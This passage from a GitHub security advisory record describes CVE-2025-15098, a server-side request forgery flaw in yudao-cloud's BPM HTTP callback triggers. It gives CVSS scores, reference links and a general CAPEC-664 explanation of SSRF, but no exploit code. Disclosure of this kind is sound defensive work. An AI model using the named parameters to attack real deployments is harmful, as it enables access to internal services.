"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5QWR-M3VG-GJ86
Vulnerability from github – Published: 2025-12-26 03:30 – Updated: 2025-12-26 03:30A vulnerability was determined in YunaiV yudao-cloud up to 2025.11. This affects the function BpmHttpCallbackTrigger/BpmSyncHttpRequestTrigger of the component Business Process Management. Executing manipulation of the argument url/header/body can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-15098"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-26T03:15:50Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in YunaiV yudao-cloud up to 2025.11. This affects the function BpmHttpCallbackTrigger/BpmSyncHttpRequestTrigger of the component Business Process Management. Executing manipulation of the argument url/header/body can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-5qwr-m3vg-gj86",
"modified": "2025-12-26T03:30:16Z",
"published": "2025-12-26T03:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15098"
},
{
"type": "WEB",
"url": "https://github.com/AnalogyC0de/public_exp/blob/main/archives/yudao-cloud-bpm_SSRF/report.md"
},
{
"type": "WEB",
"url": "https://github.com/AnalogyC0de/public_exp/blob/main/archives/yudao-cloud-bpm_SSRF/report.md#proof-of-concept"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.338429"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.338429"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.710170"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.